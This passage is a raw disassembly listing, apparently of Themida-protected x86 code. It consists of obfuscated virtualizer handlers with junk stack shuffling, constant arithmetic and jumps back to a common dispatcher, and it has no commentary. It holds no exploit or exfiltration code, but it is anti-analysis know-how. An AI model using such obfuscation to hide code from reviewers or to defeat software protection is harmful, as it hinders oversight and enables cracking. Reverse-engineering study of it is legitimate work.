push eax
mov eax, esp
add eax, 4
jmp loc_5475CE
; ---------------------------------------------------------------------------
loc_548A70: ; CODE XREF: Themida_:00547ED7j
or ecx, 66F1305Eh
dec ecx
jmp loc_54405D
; ---------------------------------------------------------------------------
loc_548A7C: ; CODE XREF: Themida_:00548C26j
mov ebp, 0DB408E3h
push eax
mov eax, esp
add eax, 4
sub eax, 4
xchg eax, [esp]
pop esp
mov [esp], ebp
add dword ptr [esp], 7DA81641h
pop esi
jmp loc_548672
; ---------------------------------------------------------------------------
loc_548AA2: ; CODE XREF: Themida_:0054ADF4j
sub edi, 5D772206h
sub edi, ebp
jmp loc_5485CC
; ---------------------------------------------------------------------------
loc_548AAF: ; CODE XREF: Themida_:0054FC7Dj
xor ebp, [esp]
xor [esp], ebp
jmp loc_54E639
; ---------------------------------------------------------------------------
loc_548ABA: ; CODE XREF: Themida_:00545F09j
push 7BA1h
jmp loc_54C3B5
; ---------------------------------------------------------------------------
loc_548AC4: ; CODE XREF: Themida_:00549DBAj
push dword ptr [esp+4]
pop ebx
jmp loc_54F870
; ---------------------------------------------------------------------------
loc_548ACE: ; CODE XREF: Themida_:0054FEB1j
push dword ptr [esp+4]
pop eax
pop dword ptr [esp]
jmp loc_54A539
; ---------------------------------------------------------------------------
loc_548ADB: ; CODE XREF: Themida_:0054DA60j
pop edx
sub ecx, 4
xchg ecx, [esp]
pop esp
jmp loc_54DD89
; ---------------------------------------------------------------------------
loc_548AE8: ; CODE XREF: Themida_:0054C861j
sub esi, eax
pop eax
xchg esi, [esp]
pop esp
mov [esp], esi
mov esi, 4
jmp loc_54E173
; ---------------------------------------------------------------------------
loc_548AFC: ; CODE XREF: Themida_:0054D28Aj
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
jmp loc_545591
; ---------------------------------------------------------------------------
loc_548B0D: ; CODE XREF: Themida_:0054863Fj
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
mov esp, [esp]
push ebx
jmp loc_54FFF1
; ---------------------------------------------------------------------------
loc_548B38: ; CODE XREF: Themida_:005464CFj
push ecx
push edx
jmp loc_545907
; ---------------------------------------------------------------------------
loc_548B3F: ; CODE XREF: Themida_:00546D42j
sub esp, 4
mov [esp], ebx
push esp
pop ebx
push 1C63h
mov [esp], ebp
mov ebp, 4B024598h
or ebp, 168A55D9h
jmp loc_5478C3
; ---------------------------------------------------------------------------
loc_548B5F: ; CODE XREF: Themida_:00548FE0j
pop esi
xor edi, 39A6854Bh
mov ebx, edi
jmp loc_545D78
; ---------------------------------------------------------------------------
loc_548B6D: ; CODE XREF: Themida_:0054DF14j
sub ecx, 2
jmp loc_54E53E
; ---------------------------------------------------------------------------
loc_548B78: ; CODE XREF: Themida_:00548B86j
pop ecx
add ecx, 4
jmp loc_54F312
; ---------------------------------------------------------------------------
loc_548B84: ; CODE XREF: Themida_:005456BEj
push ecx
push esp
jmp loc_548B78
; ---------------------------------------------------------------------------
loc_548B8B: ; CODE XREF: Themida_:0054EC0Aj
mov [esp], edx
jmp loc_54BD0B
; ---------------------------------------------------------------------------
loc_548B93: ; CODE XREF: Themida_:0054F350j
jmp loc_544022
; ---------------------------------------------------------------------------
loc_548B98: ; CODE XREF: Themida_:00544CC6j
shl ebx, 6
push esi
mov esi, 3B501F61h
add esi, 2A67E421h
add ebx, esi
pop esi
jmp loc_5473BA
; ---------------------------------------------------------------------------
loc_548BAF: ; CODE XREF: Themida_:00544665j
jmp loc_544022
; ---------------------------------------------------------------------------
loc_548BB4: ; CODE XREF: Themida_:00549536j
push eax
jmp loc_54D171
; ---------------------------------------------------------------------------
loc_548BBA: ; CODE XREF: Themida_:00544CBEj
mov ebx, eax
pop eax
sub eax, ebx
jmp loc_54635B
; ---------------------------------------------------------------------------
push dword ptr [esp]
mov eax, [esp]
add esp, 4
jmp loc_544BB5
; ---------------------------------------------------------------------------
mov ax, [esp]
sub esp, 4
mov [esp], esi
push esp
jmp loc_54B950
; ---------------------------------------------------------------------------
loc_548BE5: ; CODE XREF: Themida_:0054E365j
pop edi
jmp loc_54C558
; ---------------------------------------------------------------------------
loc_548BEB: ; CODE XREF: Themida_:0054C343j
pop edi
pop dword ptr [esp]
jmp loc_54730D
; ---------------------------------------------------------------------------
loc_548BF4: ; CODE XREF: Themida_:00548D62j
or eax, eax
jz loc_546396
push dword ptr [edi+1Ch]
jmp loc_545B6C
; ---------------------------------------------------------------------------
loc_548C04: ; CODE XREF: Themida_:0054C76Bj
push dword ptr [esp]
pop eax
push eax
mov eax, esp
jmp loc_5479E1
; ---------------------------------------------------------------------------
loc_548C10: ; CODE XREF: Themida_:00548E44j
add ch, 0D7h
sub ch, al
sub ch, 0D7h
pop eax
add al, ch
jmp loc_5481C2
; ---------------------------------------------------------------------------
loc_548C20: ; CODE XREF: Themida_:0054E478j
jmp loc_544022
; ---------------------------------------------------------------------------
loc_548C25: ; CODE XREF: Themida_:0054A691j
push ebp
jmp loc_548A7C
; ---------------------------------------------------------------------------
loc_548C2B: ; CODE XREF: Themida_:00548DD0j
push esi
push 85C5B49Eh
pop esi
jmp loc_545280
; ---------------------------------------------------------------------------
loc_548C37: ; CODE XREF: Themida_:0054A5DFj
add edx, ebx
jmp loc_54CC80
; ---------------------------------------------------------------------------
loc_548C3E: ; CODE XREF: Themida_:0054DA71j
cmp cx, ax
pushf
jmp loc_544022
; ---------------------------------------------------------------------------
loc_548C47: ; CODE XREF: Themida_:0054BFEEj
sub eax, 0F7DAF12Ch
mov edi, eax
pop eax
add eax, edi
pop edi
mov esi, [esp]
add esp, 4
jmp loc_54AA6A
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop cx
rcl word ptr [esp], cl
pushf
jmp loc_544022
; ---------------------------------------------------------------------------
loc_548C6D: ; CODE XREF: Themida_:0054805Ej
shl ebx, 7
push edx
mov edx, 0BD33B61h
and ebx, edx
pop edx
and ebx, 2E5F2167h
add ebx, 176F28ADh
xor edi, ebx
pop ebx
push edx
mov edx, 1F1E7913h
xor edx, 25E1729Ah
xor edx, 0DF265A67h
xor edi, edx
pop edx
sub ebp, edi
mov edi, [esp]
push edx
mov edx, esp
add edx, 4
jmp loc_54A6AA
; ---------------------------------------------------------------------------
loc_548CB0: ; CODE XREF: Themida_:00547916j
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
pop esp
mov [esp], ebx
push edx
mov edx, 455077F3h
mov ebx, edx
mov edx, [esp]
add esp, 4
push ebx
jmp loc_54B2CB
; ---------------------------------------------------------------------------
loc_548CDA: ; CODE XREF: Themida_:0054EB11j
mov eax, 47F45892h
jmp loc_54ADDA
; ---------------------------------------------------------------------------
loc_548CE4: ; CODE XREF: Themida_:005500A0j
mov ebp, 70144186h
jmp loc_54DA65
; ---------------------------------------------------------------------------
loc_548CEE: ; CODE XREF: Themida_:0054A1AFj
push eax
jmp loc_54A9FF
; ---------------------------------------------------------------------------
pop small word ptr [edx]
jmp loc_544022
; ---------------------------------------------------------------------------
loc_548CFC: ; CODE XREF: Themida_:00546C06j
pop edx
mov edx, eax
push dword ptr [esp]
push dword ptr [esp]
jmp loc_54F78A
; ---------------------------------------------------------------------------
loc_548D0A: ; CODE XREF: Themida_:0054A879j
push edx
mov edx, 4
jmp loc_54F2F6
; ---------------------------------------------------------------------------
loc_548D15: ; CODE XREF: Themida_:00547796j
mov esi, 4F827DEEh
shr esi, 6
jmp loc_54B6AA
; ---------------------------------------------------------------------------
loc_548D22: ; CODE XREF: Themida_:0054DAFBj
add eax, edx
mov [eax], ecx
pop eax
jmp loc_54CCA8
; ---------------------------------------------------------------------------
loc_548D2C: ; CODE XREF: Themida_:0054CD03j
mov eax, [esp]
add esp, 4
push ecx
mov ecx, esp
push edx
mov edx, 4BA54A89h
jmp loc_545ABE
; ---------------------------------------------------------------------------
loc_548D43: ; CODE XREF: Themida_:0054F57Ej
pop edx
jmp loc_5492AE
; ---------------------------------------------------------------------------
loc_548D49: ; CODE XREF: Themida_:0054DE7Cj
add bl, al
pop eax
sub bl, al
push 78F9h
jmp loc_54B7FD
; ---------------------------------------------------------------------------
loc_548D58: ; CODE XREF: Themida_:0054D0EAj
add esi, 4
xchg esi, [esp]
pop esp
jmp loc_548BF4
; ---------------------------------------------------------------------------
loc_548D67: ; CODE XREF: Themida_:0054E634j
add esi, 0C00C09CEh
mov edx, esi
jmp loc_549C6E
; ---------------------------------------------------------------------------
loc_548D74: ; CODE XREF: Themida_:0054F035j
mov dh, 76h
mov bl, dh
pop edx
push eax
sub esp, 4
mov [esp], ecx
jmp loc_546874
; ---------------------------------------------------------------------------
loc_548D88: ; CODE XREF: Themida_:00548475j
xchg dl, cl
not dl
jmp loc_547515
; ---------------------------------------------------------------------------
loc_548D91: ; CODE XREF: Themida_:00546A37j
mov ah, 5Dh
push cx
mov cl, 0E9h
xor cl, 0EFh
neg cl
xor cl, 0FEh
jmp loc_54650F
; ---------------------------------------------------------------------------
loc_548DA4: ; CODE XREF: Themida_:0054D237j
sub ebx, ebp
pop ebp
mov eax, ebx
pop ebx
sub edi, eax
mov eax, [esp]
add esp, 4
inc edi
not edi
sub edi, 75115306h
xor edi, 2C2F57BBh
sub ecx, edi
pop edi
push esi
jmp loc_549240
; ---------------------------------------------------------------------------
loc_548DCD: ; CODE XREF: Themida_:0054B76Fj
sub eax, ecx
pop ecx
jmp loc_548C2B
; ---------------------------------------------------------------------------
loc_548DD5: ; CODE XREF: Themida_:00545FD9j
xor ebx, esi
pop esi
jmp loc_549736
; ---------------------------------------------------------------------------
loc_548DDD: ; CODE XREF: Themida_:0054783Fj
push ebx
jmp loc_54CF53
; ---------------------------------------------------------------------------
loc_548DE3: ; CODE XREF: Themida_:00546A23j
push ecx
mov ecx, esp
jmp loc_54F664
; ---------------------------------------------------------------------------
loc_548DEB: ; CODE XREF: Themida_:0054D2F7j
pop ebx
add ebx, 26383B21h
jmp loc_544DFE
; ---------------------------------------------------------------------------
loc_548DF7: ; CODE XREF: Themida_:0054A8E1j
pop eax
pop ebx
jmp loc_547A49
; ---------------------------------------------------------------------------
loc_548DFE: ; CODE XREF: Themida_:0054DBBAj
add eax, 35173F81h
push esi
jmp loc_54D04A
; ---------------------------------------------------------------------------
loc_548E09: ; CODE XREF: Themida_:0054BC14j
mov eax, [esp]
add esp, 4
push edi
mov edi, 4F505884h
push esi
jmp loc_549326
; ---------------------------------------------------------------------------
loc_548E1B: ; CODE XREF: Themida_:0054F438j
pop edi
sub edi, 3DCA171Fh
mov eax, [esp]
add esp, 4
push edx
mov edx, 13982458h
or edx, 5DA31F6Eh
jmp loc_54D7A4
; ---------------------------------------------------------------------------
loc_548E39: ; CODE XREF: Themida_:00549062j
dec bh
sub bh, 49h
xor bh, 65h
add al, bh
pop ebx
jmp loc_548C10
; ---------------------------------------------------------------------------
loc_548E49: ; CODE XREF: Themida_:0054DF6Fj
push 611D14EFh
pop ecx
add ecx, 0E96C6463h
push ecx
pop edx
mov ecx, [esp]
push edx
mov edx, esp
add edx, 4
add edx, 4
jmp loc_54CF95
; ---------------------------------------------------------------------------
loc_548E6B: ; CODE XREF: Themida_:0054AFF6j
mov ebp, esp
jmp loc_546CEE
; ---------------------------------------------------------------------------
loc_548E72: ; CODE XREF: Themida_:00546960j
pop esp
jmp loc_5450B3
; ---------------------------------------------------------------------------
loc_548E78: ; CODE XREF: Themida_:0054F1CCj
mov ecx, 77A9112Eh
dec ecx
jmp loc_549886
; ---------------------------------------------------------------------------
loc_548E83: ; CODE XREF: Themida_:005455DAj
pop ecx
mov bh, al
jmp loc_5454EE
; ---------------------------------------------------------------------------
loc_548E8B: ; CODE XREF: Themida_:005452E9j
add ecx, 13DE7857h
or ecx, 3C10865h
add ecx, 0B02C5285h
add ebx, ecx
pop ecx
jmp loc_5480F2
; ---------------------------------------------------------------------------
loc_548EA5: ; CODE XREF: Themida_:00547F5Dj
jmp loc_544022
; ---------------------------------------------------------------------------
loc_548EAA: ; CODE XREF: Themida_:0054F286j
add edx, 4
xor edx, [esp]
xor [esp], edx
jmp loc_550019
; ---------------------------------------------------------------------------
loc_548EB8: ; CODE XREF: Themida_:0054FC22j
sub edx, eax
jmp loc_54D877
; ---------------------------------------------------------------------------
loc_548EBF: ; CODE XREF: Themida_:0054F242j
xchg esi, [esp]
pop esp
jmp loc_545957
; ---------------------------------------------------------------------------
loc_548EC8: ; CODE XREF: Themida_:00545ED0j
sub ebp, 4
xchg ebp, [esp]
jmp loc_544055
; ---------------------------------------------------------------------------
loc_548ED6: ; CODE XREF: Themida_:0054480Cj
xchg ebp, [esp]
mov esp, [esp]
btr [esp], ax
pushf
jmp loc_544022
; ---------------------------------------------------------------------------
loc_548EE7: ; CODE XREF: Themida_:00548877j
pop dword ptr [esp]
pop esp
add esp, 4
or ecx, ecx
jz loc_548715
sub esp, 4
push esp
jmp loc_546FEE
; ---------------------------------------------------------------------------
loc_548F02: ; CODE XREF: Themida_:00549E11j
mov esp, [esp]
jmp loc_54540F
; ---------------------------------------------------------------------------
loc_548F0A: ; CODE XREF: Themida_:0054E539j
add esp, 4
pop dword ptr [esp]
jmp loc_54FE78
; ---------------------------------------------------------------------------
loc_548F15: ; CODE XREF: Themida_:005492DAj
add edi, 4
add edi, 4
xor edi, [esp]
xor [esp], edi
jmp loc_5483E5
; ---------------------------------------------------------------------------
loc_548F29: ; CODE XREF: Themida_:0054F05Bj
mov esi, eax
pop eax
sub esi, 2F637E58h
jmp loc_544ACB
; ---------------------------------------------------------------------------
loc_548F37: ; CODE XREF: Themida_:0054841Bj
add ch, 92h
jmp loc_5498C2
; ---------------------------------------------------------------------------
loc_548F3F: ; CODE XREF: Themida_:00545FDFj
mov eax, 7F49241Ch
mov ebp, eax
jmp loc_54C431
; ---------------------------------------------------------------------------
loc_548F4B: ; CODE XREF: Themida_:0054512Bj
add ebp, 7A723D36h
jmp loc_54A49E
; ---------------------------------------------------------------------------
loc_548F56: ; CODE XREF: Themida_:0054D310j
push esi
jmp loc_54FEE2
; ---------------------------------------------------------------------------
loc_548F5C: ; CODE XREF: Themida_:00546E4Bj
add eax, ecx
pop ecx
xchg eax, [esp]
pop esp
sub cl, 1
push 4B4h
mov [esp], edx
mov dh, 59h
and cl, dh
pop edx
sub cl, 0D0h
xor cl, 0A4h
sub al, cl
pop ecx
add bl, 49h
add bl, al
push 1FFFh
jmp loc_546A34
; ---------------------------------------------------------------------------
loc_548F8B: ; CODE XREF: Themida_:00549097j
push ecx
jmp loc_54E6DC
; ---------------------------------------------------------------------------
lodsb
sub esp, 4
jmp loc_54C5F9
; ---------------------------------------------------------------------------
loc_548F9D: ; CODE XREF: Themida_:0054BE2Fj
push 4C8A4A89h
pop edi
jmp loc_54D0EF
; ---------------------------------------------------------------------------
loc_548FA8: ; CODE XREF: Themida_:0054BD90j
add esp, 4
add [esp+4], ebp
mov ebp, [esp]
add esp, 4
jmp loc_54F199
; ---------------------------------------------------------------------------
loc_548FBD: ; CODE XREF: Themida_:005464FCj
mov [esp], edx
mov edx, 270E7429h
mov eax, 47193F7Bh
xor eax, edx
mov edx, [esp]
add esp, 4
push ecx
jmp loc_54B76A
; ---------------------------------------------------------------------------
loc_548FD8: ; CODE XREF: Themida_:00544125j
push esi
mov esi, 486F6C03h
add edi, esi
jmp loc_548B5F
; ---------------------------------------------------------------------------
loc_548FE5: ; CODE XREF: Themida_:0054E8D4j
pop esp
jmp loc_546EA8
; ---------------------------------------------------------------------------
loc_548FEB: ; CODE XREF: Themida_:00547C0Bj
mov ebp, 0C2D58636h
sub ebx, ebp
pop ebp
sub eax, ebx
pop ebx
sub eax, ebx
jmp loc_54B1CA
; ---------------------------------------------------------------------------
loc_548FFD: ; CODE XREF: Themida_:00549345j
add edx, edi
pop edi
add edx, 4
push edx
push dword ptr [esp+4]
pop edx
pop dword ptr [esp]
pop esp
push dword ptr [esp]
push dword ptr [esp]
pop eax
add esp, 4
push ecx
mov ecx, esp
push ebp
mov ebp, 390359A5h
inc ebp
neg ebp
push 6AFCh
mov [esp], edx
mov edx, 5FF92218h
or ebp, edx
pop edx
sub ebp, 0DFFDA656h
add ecx, ebp
jmp loc_54F920
; ---------------------------------------------------------------------------
loc_549043: ; CODE XREF: Themida_:0054A4FFj
add esp, 4
push 5C77h
mov [esp], edx
jmp loc_54D52A
; ---------------------------------------------------------------------------
loc_549056: ; CODE XREF: Themida_:0054EFA8j
shl ch, 5
push eax
mov al, 2Bh
push ebx
mov bh, 7Bh
shr bh, 3
jmp loc_548E39
; ---------------------------------------------------------------------------
loc_549067: ; CODE XREF: Themida_:0054F79Aj
mov edx, [esp]
jmp loc_54580B
; ---------------------------------------------------------------------------
loc_54906F: ; CODE XREF: Themida_:0054A18Dj
pop ebp
add edi, esi
pop esi
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
mov esp, [esp]
div cx
push esi
mov esi, esp
push ecx
jmp loc_549ED5
; ---------------------------------------------------------------------------
loc_54908B: ; CODE XREF: Themida_:0054B6A5j
pop esp
neg ebp
sub esp, 4
mov [esp], eax
jmp loc_548F8B
; ---------------------------------------------------------------------------
loc_54909C: ; CODE XREF: Themida_:005472DEj
add ebx, 2FF134F0h
add ebx, ecx
sub ebx, 2FF134F0h
pop ecx
xchg ebx, [esp]
mov esp, [esp]
push edi
mov edi, esp
jmp loc_54F0FF
; ---------------------------------------------------------------------------
loc_5490B9: ; CODE XREF: Themida_:0054D6C4j
add esp, 4
push esi
jmp loc_548977
; ---------------------------------------------------------------------------
loc_5490C5: ; CODE XREF: Themida_:00546915j
mov ch, 0EEh
mov dl, 0B4h
sub dl, ch
jmp loc_544A3D
; ---------------------------------------------------------------------------
loc_5490D0: ; CODE XREF: Themida_:00544A75j
pop ebp
and ebx, 73D90926h
jmp loc_54B2EB
; ---------------------------------------------------------------------------
loc_5490DC: ; CODE XREF: Themida_:00544CD0j
jmp loc_544022
; ---------------------------------------------------------------------------
loc_5490E1: ; CODE XREF: Themida_:005455A7j
add dword ptr [esp], 2B0B7FA6h
jmp loc_544022
; ---------------------------------------------------------------------------
loc_5490ED: ; CODE XREF: Themida_:0054A3ECj
pop esi
jmp loc_545010
; ---------------------------------------------------------------------------
loc_5490F3: ; CODE XREF: Themida_:00544A5Ej
and edi, 3C2414EFh
xor edi, 2820FB75h
and eax, edi
pop edi
or eax, eax
jnz loc_54C9ED
push ecx
mov ecx, 67B27D81h
jmp loc_54E015
; ---------------------------------------------------------------------------
loc_549115: ; CODE XREF: Themida_:0054B1CBj
mov ebp, 5884461Ah
add eax, ebp
jmp loc_547B03
; ---------------------------------------------------------------------------
loc_549121: ; CODE XREF: Themida_:0054653Cj
pop ebp
shl si, 4
sub si, 466Ch
add si, 699Ah
add bp, si
pop esi
jmp loc_54D334
; ---------------------------------------------------------------------------
loc_549139: ; CODE XREF: Themida_:0054DAA5j
push ebx
push ebp
mov ebp, 7C95201Dh
mov ebx, ebp
pop ebp
sub ebx, 7C8039CEh
shl ebx, 4
xor ebx, 9A17F2Eh
and ecx, ebx
pop ebx
shr ecx, 7
jmp loc_54489F
; ---------------------------------------------------------------------------
loc_54915D: ; CODE XREF: Themida_:00544CDDj
sub edx, 4
xchg edx, [esp]
pop esp
mov [esp], ebp
mov ebp, 25771392h
inc ebp
neg ebp
xor ebp, 6DBC754Fh
shl ebp, 3
jmp loc_54B91B
; ---------------------------------------------------------------------------
push dword ptr [edx]
jmp loc_544022
; ---------------------------------------------------------------------------
mov cx, [esp]
push ebx
mov ebx, esp
push edi
mov edi, 46DD4AD7h
xor edi, 47997AE6h
jmp loc_54E393
; ---------------------------------------------------------------------------
loc_54919C: ; CODE XREF: Themida_:0054EB68j
sub edi, eax
pop eax
sub edi, 4CB2056Ah
sub edi, 6E55D04h
sub edi, ecx
jmp loc_546835
; ---------------------------------------------------------------------------
push dword ptr [esp]
pop eax
jmp loc_54B7E1
; ---------------------------------------------------------------------------
loc_5491BB: ; CODE XREF: Themida_:0054CFFAj
pop bp
xchg si, bp
xchg cx, si
not cx
push si
jmp loc_545D5C
; ---------------------------------------------------------------------------
loc_5491CD: ; CODE XREF: Themida_:00547235j
add ebx, edx
pop edx
push edi
mov edi, 4
add ebx, edi
pop edi
jmp loc_54A250
; ---------------------------------------------------------------------------
loc_5491DE: ; CODE XREF: Themida_:0054CCBDj
pop eax
dec esi
jmp loc_547C40
; ---------------------------------------------------------------------------
loc_5491E5: ; CODE XREF: Themida_:0054495Fj
mov ebp, 2
add ebx, ebp
push dword ptr [esp]
pop ebp
add esp, 4
push ebx
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
pop esp
dec byte ptr [esp]
pushf
jmp loc_544022
; ---------------------------------------------------------------------------
loc_549209: ; CODE XREF: Themida_:00547253j
add bl, al
sub bl, 0C8h
add bl, 0Eh
push ax
mov al, 75h
jmp loc_547D91
; ---------------------------------------------------------------------------
loc_54921A: ; CODE XREF: Themida_:0054B9D8j
mov edx, 0F209F319h
jmp loc_54490B
; ---------------------------------------------------------------------------
loc_549224: ; CODE XREF: Themida_:005493A1j
xor bh, 59h
sub ah, bh
pop ebx
sub ah, 35h
mov dl, ah
pop eax
push ax
push ebx
jmp loc_54A40A
; ---------------------------------------------------------------------------
loc_549238: ; CODE XREF: Themida_:0054D8C7j
mov edx, [esp]
jmp loc_54D426
; ---------------------------------------------------------------------------
loc_549240: ; CODE XREF: Themida_:00548DC8j
mov esi, 0
sub esi, ecx
push ebp
mov ebp, esi
mov ecx, ebp
pop ebp
pop esi
add ecx, 3643566Bh
sub ecx, 82149475h
jmp loc_549788
; ---------------------------------------------------------------------------
loc_54925F: ; CODE XREF: Themida_:0054FEE9j
pop esi
add ebp, ecx
push dword ptr [esp]
pop ecx
add esp, 4
push ebp
push dword ptr [esp+4]
mov ebp, [esp]
push ebx
jmp loc_547BA3
; ---------------------------------------------------------------------------
loc_549277: ; CODE XREF: Themida_:0054AAC4j
sub esp, 4
mov [esp], ebp
jmp loc_54A818
; ---------------------------------------------------------------------------
loc_549282: ; CODE XREF: Themida_:005471A9j
mov ebp, 20E26DDAh
xor ebp, 4E2C31D2h
sub ebp, 1B430E35h
and ebp, 3B582EA6h
xor ebp, 686F1EA7h
not ebp
sub ebp, 455CC75Bh
sub edi, ebp
jmp loc_54E047
; ---------------------------------------------------------------------------
loc_5492AE: ; CODE XREF: Themida_:00548D44j
xor ecx, 6CB57E0Dh
push esi
mov esi, 5F821162h
neg esi
dec esi
jmp loc_546474
; ---------------------------------------------------------------------------
loc_5492C2: ; CODE XREF: Themida_:00544E72j
push eax
push esp
mov eax, [esp]
add esp, 4
add eax, 4
push edi
mov edi, esp
jmp loc_5496CC
; ---------------------------------------------------------------------------
loc_5492D7: ; CODE XREF: Themida_:005461F1j
mov esp, [esp]
jmp loc_548F15
; ---------------------------------------------------------------------------
loc_5492DF: ; CODE XREF: Themida_:00545631j
dec cx
sub cx, 0AD3Bh
xor si, cx
pop ecx
add si, 6E7Ch
jmp loc_54CBB0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_545BCC
loc_5492F4: ; CODE XREF: sub_545BCC-14BBj
xor bh, 31h
jmp loc_545877
; END OF FUNCTION CHUNK FOR sub_545BCC
; ---------------------------------------------------------------------------
loc_5492FC: ; CODE XREF: Themida_:0054D82Ej
add edi, 4
push esi
push ebx
push 630F1A69h
pop ebx
xor ebx, 630F1A6Dh
mov esi, ebx
pop ebx
add edi, esi
pop esi
xor edi, [esp]
jmp $+5
xor [esp], edi
jmp loc_549861
; ---------------------------------------------------------------------------
loc_549326: ; CODE XREF: Themida_:00548E16j
push 74A6h
jmp loc_54FFFB
; ---------------------------------------------------------------------------
loc_549330: ; CODE XREF: Themida_:0054E1FCj
pop ecx
push ebp
mov ebp, 0FFE624EBh
jmp loc_54E7D6
; ---------------------------------------------------------------------------
loc_54933C: ; CODE XREF: Themida_:00545EC5j
or edi, esi
pop esi
add edi, 80148027h
jmp loc_548FFD
; ---------------------------------------------------------------------------
loc_54934A: ; CODE XREF: Themida_:0054CA25j
add [esp+4], ecx
add dword ptr [esp+4], 6F9A6EFCh
jmp loc_54FA3B
; ---------------------------------------------------------------------------
loc_54935B: ; CODE XREF: Themida_:0054E29Aj
add ebp, 47D156BBh
add ebp, eax
sub ebp, 47D156BBh
sub ebp, 37D561A7h
jmp loc_5482E9
; ---------------------------------------------------------------------------
loc_549374: ; CODE XREF: Themida_:0054AAEDj
jmp loc_544022
; ---------------------------------------------------------------------------
loc_549379: ; CODE XREF: Themida_:0054CE4Fj
sub ebx, 6C346D80h
add ebx, eax
jmp loc_5464F5
; ---------------------------------------------------------------------------
loc_549386: ; CODE XREF: Themida_:0054F25Bj
mov [esp], edx
mov edx, 11C1373Dh
jmp loc_546526
; ---------------------------------------------------------------------------
loc_549393: ; CODE XREF: Themida_:00546A9Bj
add esp, 4
jmp loc_54792C
; ---------------------------------------------------------------------------
loc_54939E: ; CODE XREF: Themida_:00546521j
and bh, 47h
jmp loc_549224
; ---------------------------------------------------------------------------
loc_5493A6: ; CODE XREF: Themida_:00545707j
xor eax, [esp]
mov esp, [esp]
jmp loc_54D603
; ---------------------------------------------------------------------------
loc_5493B1: ; CODE XREF: Themida_:0054EF64j
pop esp
movzx eax, al
jmp loc_5484EA
; ---------------------------------------------------------------------------
loc_5493BA: ; CODE XREF: Themida_:005473AAj
add ecx, 0BBFADC5Ah
add ebp, ecx
pop ecx
jmp loc_545537
; ---------------------------------------------------------------------------
loc_5493C8: ; CODE XREF: Themida_:005474F5j
sub ebp, esi
pop esi
add ebx, ebp
jmp loc_5459F1
; ---------------------------------------------------------------------------
loc_5493D2: ; CODE XREF: Themida_:005479CEj
pop edi
mov ebx, edx
jmp loc_5442BE
; ---------------------------------------------------------------------------
loc_5493DA: ; CODE XREF: Themida_:00545371j
add edi, 4
push 54h
jmp loc_54E0CF
; ---------------------------------------------------------------------------
loc_5493EA: ; CODE XREF: Themida_:005488E1j
pop esp
mov [esp], ebx
push 6603h
mov [esp], esp
add dword ptr [esp], 4
pop ebx
add ebx, 4
push edi
mov edi, 4
add ebx, edi
mov edi, [esp]
add esp, 4
sub esp, 4
mov [esp], ebx
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
pop esp
or [esp], eax
pushf
jmp loc_544022
; ---------------------------------------------------------------------------
loc_549427: ; CODE XREF: Themida_:00546D02j
mov [esp], eax
push esp
pop eax
push ebx
jmp loc_54D572
; ---------------------------------------------------------------------------
loc_549432: ; CODE XREF: Themida_:0054F773j
push ebp
push 6AD068A0h
pop ebp
add edi, ebp
jmp loc_54E571
; ---------------------------------------------------------------------------
loc_549440: ; CODE XREF: Themida_:00545AB9j
mov edx, 2
jmp loc_545160
; ---------------------------------------------------------------------------
loc_54944A: ; CODE XREF: Themida_:0054FB02j
push esp
pop esi
jmp loc_546C34
; ---------------------------------------------------------------------------
loc_549451: ; CODE XREF: Themida_:00549A60j
mov edx, ecx
jmp loc_546A28
; ---------------------------------------------------------------------------
loc_549458: ; CODE XREF: Themida_:0054DB4Ej
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
push ebp
mov ebp, 53AC64D7h
or ebp, 83300EAh
not ebp
neg ebp
xor ebp, 5BA15F52h
jmp loc_54412A
; ---------------------------------------------------------------------------
loc_549480: ; CODE XREF: Themida_:005445A9j
sub esp, 4
mov [esp], esi
mov esi, 322F40D4h
sub esi, 496D4885h
and esi, 147D7FE2h
neg esi
and esi, 52A46564h
add esi, 0AD5BFADEh
add eax, esi
mov esi, [esp]
add esp, 4
xor eax, [esp]
xor [esp], eax
jmp loc_545352
; ---------------------------------------------------------------------------
loc_5494BB: ; CODE XREF: Themida_:0054B89Cj
xchg edx, [esp]
jmp loc_5498A0
; ---------------------------------------------------------------------------
loc_5494C3: ; CODE XREF: Themida_:0054C262j
push esi
mov esi, esp
add esi, 4
push edi
mov edi, 4
add esi, edi
pop edi
xchg esi, [esp]
jmp loc_54CE02
; ---------------------------------------------------------------------------
loc_5494DD: ; CODE XREF: Themida_:00545AD4j
mov [esp], ebx
mov bl, 40h
push eax
mov ah, 0B7h
xor ah, 88h
xor bl, ah
jmp loc_54A0D7
; ---------------------------------------------------------------------------
loc_5494EF: ; CODE XREF: Themida_:0054BAD2j
add ecx, ebx
pop ebx
xor ecx, 0A0D6C1B1h
add edx, ecx
pop ecx
add edx, esi
sub edx, 546A7F30h
pop esi
push eax
mov eax, 4
add edx, eax
pop eax
xchg edx, [esp]
mov esp, [esp]
jmp loc_547605
; ---------------------------------------------------------------------------
loc_549518: ; CODE XREF: Themida_:00545E80j
mov esi, 4
add ecx, esi
mov esi, [esp]
add esp, 4
jmp loc_545698
; ---------------------------------------------------------------------------
push dword ptr [esp]
mov eax, [esp]
add esp, 4
jmp loc_548BB4
; ---------------------------------------------------------------------------
loc_54953B: ; CODE XREF: Themida_:00544105j
add ebx, eax
push edi
jmp loc_54DC6A
; ---------------------------------------------------------------------------
loc_549543: ; CODE XREF: Themida_:00548345j
pop ebx
add al, dl
push dword ptr [esp]
pop edx
push eax
mov eax, esp
add eax, 4
jmp loc_54CD7F
; ---------------------------------------------------------------------------
loc_549557: ; CODE XREF: Themida_:0054BB59j
xor al, bl
sub esp, 2
mov [esp], cx
jmp loc_54B02E
; ---------------------------------------------------------------------------
loc_549568: ; CODE XREF: Themida_:0054F9A2j
xchg edx, [esp]
pop esp
jmp loc_546D34
; ---------------------------------------------------------------------------
loc_549571: ; CODE XREF: Themida_:0054DF35j
sub al, 9Fh
jmp loc_5447A7
; ---------------------------------------------------------------------------
loc_549578: ; CODE XREF: Themida_:0054DD84j
mov edx, esp
push ebp
mov ebp, 3E0D70CCh
shl ebp, 2
shr ebp, 6
